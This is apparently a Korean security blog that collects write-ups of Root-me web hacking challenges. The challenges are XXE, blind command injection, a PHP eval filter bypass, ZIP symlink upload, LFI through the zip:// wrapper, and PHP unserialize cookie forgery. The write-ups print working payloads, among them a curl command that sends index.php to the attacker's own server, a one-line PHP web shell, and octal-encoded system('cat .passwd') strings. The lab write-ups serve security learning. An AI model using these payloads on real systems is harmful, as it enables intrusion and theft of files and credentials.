XML External Entity

 

 

 

 

 

 

다음과 같이 URL을 입력하면 RSS데이터가 잘 생성 되었는지 검증해준다.

administarator의 password를 얻으면 되는 문제이다.


문제풀이

 

 

 

 

Input box에 URL을 넣으면 XML을 읽어주는 기능을 하므로 우리가 원하는 XML파일을 서버에 업로드하여 password를 탈취 할 수 있다.

 

 

기본적인 XML RSS형식을 이용하여 Validity Check를 해보자.

 

 

<?xml version="1.0" encoding="UTF-8"?>
 <rss version="2.0">
  <channel>
    <title>제목</title>
    <link>주소/</link>
    <description>설명 (짤막하게)</description>

    <item>
      <title>제목</title>
      <link>주소/글 주소</link>

      <description>글 내용 전체(또는 일부)</description>
      <pubDate>시간</pubDate>
      <guid>주소/글 주소</guid>
    </item>
  </channel>
</rss>

 


다음과 같은 코드를 입력하고 전송하였을 때

 

 

 

 

 

 

 

 

 

다음과 같이 정상적으로 결과가 나오게 된다.

 

 

이제 우리가 원하는 데이터를 얻기 위해서 XML External Entity를 이용해야한다.

우리가 알고있는 것은 우선 보여지고 있는 페이지가 index.php라는 점을 이용하여 우선 index.php파일을 살펴보자

 

<!ENTITY xxe SYSTEM "./index.php" >]>

 

 

다음과 같이 external entity를 작성하여서 결과 값을 봤을 때에 원하는 결과 값을 얻을 수 없었다.

php filter를 안쓰고 그냥 보내면 출력한 페이지에서 php를 해석하여 보여주기 때문에 소스 자체를 볼 수가 없다. (생각

그래서 php wrapper를 이용하여 답을 구하였다.

 

 

 

 

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >]>

 

 

 

 

 

 

 

 

나온 결과값을 base64 decode하면 flag 값을 얻을 수 있다.

 


XXE에 대해 문제풀기만을 위해 얕게 공부한 것 같아서 더 알앙봐야겠다.

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] - Command injection - Filter bypass  (0) 2019.12.07
[Root-me] - PHP - Eval  (0) 2019.12.03
[Root-me] - File upload - ZIP  (0) 2019.12.03
[Root-me] - Local File Inclusion - Wrappers  (0) 2019.11.30
[Root-me] PHP - Serialization  (0) 2019.11.16

Command injection - Filter bypass

 

 

 

index.php 파일을 읽어야 되는 문제이며

ping test를 할 수 있는 웹페이지이다.


문제풀이

 

 

 

당연히 ;나 &를 넣어봤을 때 필터링이 될줄 알았는데 127.0.0.1;과 같이 연결해보니 잘되었다.

12;;;7.0.0.1 과 같은게 Ping OK라고 뜨는 것을 보면 공백으로 처리되는 것 같았고,

LOS풀 때 sql injection 할 때에도 사용한 %0a를 이용하니까 이번 문제도 풀 수 있었다.

 

 

처음에 %0a를 input box에다가 넣어서 삽질을 많이했다. (후.. input box에서 모두 문자열로 읽으므로 %0a가 단순히 문자열로 인식된다. ) 

 

 

다음과 같이 console창에다가 post형식으로 데이터를 전송해주면 %0a 뒤에 명령어를 넣어도 Ping Ok를 확인할 수 있다.

 

더보기

client=new XMLHttpRequest(); 
client.open('POST',"http://challenge01.root-me.org/web-serveur/ch53/",true); 
client.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); 
client.send("변수명=입력할 데이터");

참고사이트 : https://dongdd.tistory.com/29

 

 

이제 %0a로 뒤에 명령어를 연결할 수 있음을 알게 되었고

Ping OK만 뜨고 다른 출력문은 나오지 않으니 index.php를 직접적으로 출력하여 문제를 풀 수는 없다.

 

 

Blind command injection을 검색하여 여러 방법들을 찾을 수 있었는데 그중에서 curl 을 이용하여 문제를 해결하였다.

 

 

curl을 통해 우리는 index.php 파일을 우리의 서버에 전송하여야하는데 

curl 메뉴얼을 살펴보면서 --data 옵션으로 문제를 해결할 수 있었다.

 

 

curl --data-urlencode "name@file_name" 본인서버.

 

 

여기서 우리가 필요한 file_name은 index.php이므로 file_name부분에 index.php를 넣고

본인서버에 $_POST[name]으로 데이터를 받아서 다른파일에 저장시켜주면

해당 파일에 index.php 내용이 load되어 flag를 찾을 수 있다.

 

 

참고한 curl 메뉴얼 :                              

https://curl.haxx.se/docs/manual.html  

https://curl.haxx.se/docs/manpage.html

 


 

 

웹브라우저에서 렌더링 과정

https://jeong-pro.tistory.com/90

 

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] - XML External Entity  (0) 2019.12.11
[Root-me] - PHP - Eval  (0) 2019.12.03
[Root-me] - File upload - ZIP  (0) 2019.12.03
[Root-me] - Local File Inclusion - Wrappers  (0) 2019.11.30
[Root-me] PHP - Serialization  (0) 2019.11.16

PHP - Eval

 

 

 

문제의 source code를 읽고 .passwd file을  읽으면 된다.

source code를 읽어보면 input으로 알파벳 문자를 입력하면 Dangerous code detected로 막히게 된다.

 

 

 

 

input 부분은 다음과 같으며 입력한 값이 eval함수를 거쳐 출력되게 된다.


문제풀이

 

 

 

우리가 사용할 수 있는 것은 특수문자숫자를 이용하여 풀 수 있다.

 

 

 

 

 

풀이 1 - 8진수 encoding

 

 

 

백슬래쉬와 숫자는 필터링 되어 있지 않기 때문에 8진수 encoding을 하면 쉽게 풀 수 있다.

 

기본이 되는 payload는 system(cat .passwd)를 사용하였다.

 

 

system   /  cat .passwd를 각각 8진수로 인코딩하여 사용하면 

( (,)는 그냥 쓸 수 있으니 따로 인코딩하지 않음

 

각각

system = \163\171\163\164\145\155

cat .passwd = \143\141\164\40\56\160\141\163\163\167\144   이 된다.

 

 

이를 변수에 각각 대입하여

Input 값에 넣게 되면 문제를 풀 수 있다.

 

 

 

payload : $_="\163\171\163\164\145\155";$__="\143\141\164\40\56\160\141\163\163\167\144";$_($__)

 

 

 

풀이 2 - 

 

 

문자와 숫자를 모두 쓸 수 없을 때 문자를 얻을 수 있는 방법이 있다.

 

 

php에서

변수에 배열을 선언함으로서 $_=[]를 하게 되면 $_엔 Array가 저장되며

$_="$_" 이 값을 문자열로 저장시켜 $_에 문자열 Array가 저장되게 할 수 있다.

 

 

"!"=="@"는 false -> 0을 이용하여 $_['!'=='@'] -> $_[0]에 접근할 수 있고

이를 통해서 $_의 배열에 접근하게 되면 문자 A 또는 a를 얻을 수 있다.

 

 

또한 php에서는 문자에 ++를 이용하여 문자를 증가(?)시키는 것이 가능하다.

ex) $_='a';              $_++; // a->b                              감소는 되지 않는다.

 

 

 

 

 

이와 같은 개념들을 이용하면 문자와 숫자를 사용하지 않고 모든 알파벳 문자를 사용할 수 있게되고 문제를 푸는데에 이용 할 수 있다. (다만 번거롭다.

 

문제에서는 숫자를 사용할 수 있으므로 $_[3]을 이용하여 바로 소문자 a에 접근하였다.

더보기

$_=[];
$_="$_";
$_=$_[3];


$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$___=$__;

$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$___.=$__;

$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;

$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;

$__=$_;
$__++;$__++;$__++;$__++;
$___.=$__;

$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;

$____=$___;

$___="";

$__=$_;
$__++;$__++;
$___.=$__;

$__=$_;
$___.=$__;

$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;


$___.=" .";

$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;

$___.=$_;

$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$___.=$__;

$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;

$__=$_;
$__++;$__++;$__++;
$___.=$__;


$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$______=$__;


$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$______.=$__;

$______.=" -";
$______.=$_;



$____($___);

$____ -> system  $___ -> cat. passwd

위를 이용하면 문제를 해결할 수 있다.

 


비트연산자를 이용한 풀이방법도 있는 것 같은데 나중에 공부해봐야겠다.

File upload - ZIP

 

 

 

index.php 파일을 읽으면 된다.

 

 

 

 

문제 화면으로 들어가면 파일을 선택하여 업로드할 수 있는 기능이 있다.

 

 

 

 

 


문제풀이

 

 

 

 

업로드 기능을 이용하여 .php파일을 압축한 .zip 파일을 업로드해보면

 

 

 

 

 

 

 

다음과 같이 파일의 압축을 풀 수 있도록 해준다.

File unzipped here을 눌러보면

 

 

 

 

 

 

 

 

다음과 같은 페이지로 이동하며

/tmp/upload 디렉토리에 해쉬값으로 변경되어 저장됨을 알수있고

압축했던 test.php을 열려고 하면

 

 

 

 

 

다음과 같이 접근이 제한됨을 알 수 있다.

 

 

내가 올린 파일로 공격은 할 수 없을 것 같다.

index.php에 직접적으로 접근해야 할 방법을 찾다보니

symbolic link를 이용하여 공격하는 방법을 찾게되었다.

 

 

 

 

 

파일을 업로드하면 /tmp/upload/해쉬된 디렉토리에 파일이 생성되기에

index.php가 있을 것이라고 생각되는 /ch51 디렉토리에 있는 index.php를 가리키는 symbolic link를 생성해준다.

 

 

 

 

이후 이 파일을 zip을 해준다.

(symbolic link는 zip할 때 --symlink 옵션을 주지 않으면 일반 파일,디렉토리로 인식하여 압축하게 된다.)

 

 

 

 

 

그리고 위의 a.zip 파일을 업로드해주게되면

a.zip이 공격하는 사이트의 내부에서 unzip되기 때문에 ../의 절대경로가 서버쪽의 디렉토리를 가리키게 되어 우리가 원하는 index.php를 얻을 수 있을 것이다. (내 생각)

 

 

 

 

 

 

 

 

 

../../../index.php를 가리키는 link가 있고 이를 누르게 되면

index.php를 보여주고 안에 있는 flag를 통해 문제를 풀 수 있다.

 

 


 

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] - Command injection - Filter bypass  (0) 2019.12.07
[Root-me] - PHP - Eval  (0) 2019.12.03
[Root-me] - Local File Inclusion - Wrappers  (0) 2019.11.30
[Root-me] PHP - Serialization  (0) 2019.11.16
[Root-me] SQL injection - Error  (0) 2019.10.07

Local File Inclusion - Wrappers

 

 

 

 

 

flag를 찾으면 되는 문제이다.

 

 

 

 

 

문제 화면으로 들어가면 파일을 선택하여 업로드할 수 있는 기능이 있다.

 

 

 

 


문제풀이

 

 

 

 

업로드 기능을 이용하여 .php 파일을 업로드해보면

 

 

 

 

다음과 같이 JPG파일만 업로드 할 수 있다는 결과와 page파라미터를 볼 수 있다.

 

페이지에 index우리가 처음 보았던 페이지로 이동한다.

../는 필터링 되어있으며 .와 /는 개별적으로 필터링 되어있지않다.

 

.만 입력하였을 때

 

 

 

우리가 입력한 값 뒤에 .php가 붙어서 파일을 여는 것을 알 수있다.

 

 

 

문제의 제목을 보면 Wrappers를 이용하여 문제를 해결해야함을 알 수 있다.

이전에 풀었던 LFI문제와 같이 php://를 사용하여 풀려고 하면 php는 필터링이 걸려 사용할 수 없고

system command를 실행 할 수 있는 expect://

 

 

 

 

다음과 같이 지원하지 않음을 알 수 있다.

 

 

File upload를 할 수 있는점을 이용할 수 있는 zip:// 을 이용하여 문제를 풀 수 있다고 생각했다.

zip:// 필터는 업로드된 .zip 파일을 서버측에서 저장된 파일을 압축 해제하여 압축을 푼 파일안에 있는 파일을 실행 시켜준다.

 

하지만 zip파일을 바로 업로드 할 수 는 없기 때문에 압축한 파일의 확장자를 .jpg로 바꾸어준다.

 

 

 

 

파일을 업로드하고 확인해보면 tmp/upload 위치에 파일명이 바뀐 채로 저장되어 있음을 알 수 있다.

zip://zip파일이름#풀렸을 때 파일 이름  -> #은 url encoding 하여 %23

 

 

Input : page = zip://tmp/upload/(이미지파일)%23(읽을 파일)

파일명이 한 글자를 넘어가면 page name too long이 나온다.

 

 

 

 

본인은 다음과 같이 scandir을 이용하여 해당 디렉토리에 있는 파일들을 알기 위해서 사용하였다.

이 .php파일을 실행시킨 결과는

 

 

 

 

다음과 같이 flag가 들어있는 php파일을 얻을 수 있으며 해당 파일을 읽을 수 있게 php파일을 수정해주면 flag를 얻을 수 있다.


<?php eval($_GET['cmd']); ?>

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] - PHP - Eval  (0) 2019.12.03
[Root-me] - File upload - ZIP  (0) 2019.12.03
[Root-me] PHP - Serialization  (0) 2019.11.16
[Root-me] SQL injection - Error  (0) 2019.10.07
[Root-me] SQL Injection - Routed  (0) 2019.10.01

PHP - Serialization

 

 

 

 

 

 

adminstrator 계정으로 로그인하면 되는 문제이다.

 

 

 

 

 

 

일반적인 로그인 창으로 자동로그인 기능이 있다.

 

 

 

 


문제해석

 

 

 

 

 

 

 

 

소스를 보면 중요한 부분은 문제 제목과 같은 unserializeserialize가 있는 부분이다.

 

 

일반적으로 로그인을 하게 되면 $data에 값이 저장되며,

autologin 쿠키값이 있을 때는 $data에 unserialize된 값이 들어가게 된다.

 

 

로그인이 성공하고 autologin이 1이 때 쿠키에 serialize된 값이 저장되며 위의 autologin 체크할 때 쓰이게 된다.

 

 

 

 

Login에 superadmin으로 로그인하면 될 것이다.

 

 

 

 


문제풀이

 

 

 

 

문제에서 주어진 guest로 autologin을 체크하고 로그인하게 되면 다음과 같이 표시되며

 

 

 

 

 

Cookie에 serialize된 autologin의 값이  url encoding된 형태로 표시되게 된다.

그리고 url decode를 해보면

 

 

autologin=

a:2:{s:5:"login";s:5:"guest";s:8:"password";s:64:"84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec";};

serialize된 값을 볼 수 있고

login : guest

password : sha256된 값   으로 되어있는 것을 볼 수 있다.

s는 string /  5는 글자수 / ;로 value를 구분

 

 

 

 

 

 

 

 

 

이를 이용하여 우리가 원하는 superadmin으로 쿠키에 전달 할 값을 작성하려면

 

 

1. login 부분을 superadmin으로 설정

 

 

  a:2:{s:5:"login";s:10:"superadmin";                        }

 

 

 

2. password 값  설정

 

 이후 문제는 password에 전달 되는 값이다.

 

 

 

 

 

 위의 코드를 보면 우리가 입력한 password와 비교되는 저장된 값이 느슨한 비교(loose comparison)로 되어있음을 알   수 있다.

 이를 이용하면 true와 "string"을 비교했을 때 true로 인식되어 우회 할 수 있다.

 

 

 

 php serialize에서 boolean값은 b가 boolean을 나타내며 true나 false가아닌 1과 0으로 인식한다.

php 메뉴얼 : https://www.php.net/manual/en/function.serialize.php

 

 

 autologin에 전달할 값을 이어서 작성하면

 

 

 

 a:2:{s:5:"login";s:10:"superadmin"s:8:"password";b:1;} 가 된다.

 

 

 

 

 

이 값을 url decoding해서 Cookie의 autologin값에 전달하게 되면

 

 

 

CLEAR 할 수 있다.

 

 

 


 

 

구글링하면서 공부한 serialzie 취약점 문제와 이 문제는 조금차이가 있는 것 같다. 이전의 있던 type juggling를 이용하고, serialize된 글자를 해석만 하면? 풀 수 있게되는 문제같다.

 

 

생성자와 magic method를 이용한 문제들을 찾아서 풀어봐야 serialize에 대해 더 잘 이해할 수 있을 것 같다.

 

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] - File upload - ZIP  (0) 2019.12.03
[Root-me] - Local File Inclusion - Wrappers  (0) 2019.11.30
[Root-me] SQL injection - Error  (0) 2019.10.07
[Root-me] SQL Injection - Routed  (0) 2019.10.01
[Root-me] SQL injection - Numeric  (0) 2019.09.27

+ Recent posts